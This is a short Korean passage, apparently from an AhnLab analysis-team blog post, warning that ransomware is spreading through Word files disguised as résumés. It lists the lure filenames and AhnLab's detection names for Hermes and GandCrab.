    해당 문서는 아래와 같은 파일명으로서 이력서로 위장하여 유포되므로 첨부 파일로 전송 받은 문서 실행 시 주의가 필요하다.


     

    유포 중인 문서 이름 일부

    Danial’s Resume.doc

    Maire’s Resume.doc

    Fiona’s Resume.doc

    Alissa's Resume.doc


    [ 2] – 유포 중 문서 이름 일부



    안랩 제품에서는 위와 같은 문서 및 랜섬웨어를 아래와 같이 진단하고 있다.


    문서

    파일 진단명

    W97M/Downloader (2018.06.30.00)

    랜섬웨어

    실행파일

    파일 진단명

    Trojan/Win32.Hermesran (2018.06.30.00)

    Trojan/Win32.Gandcrab (2018.07.05.05)

    행위 진단명

    Malware/MDP.Ransom.M1171


    [ 3] – 진단명

    Posted by 분석팀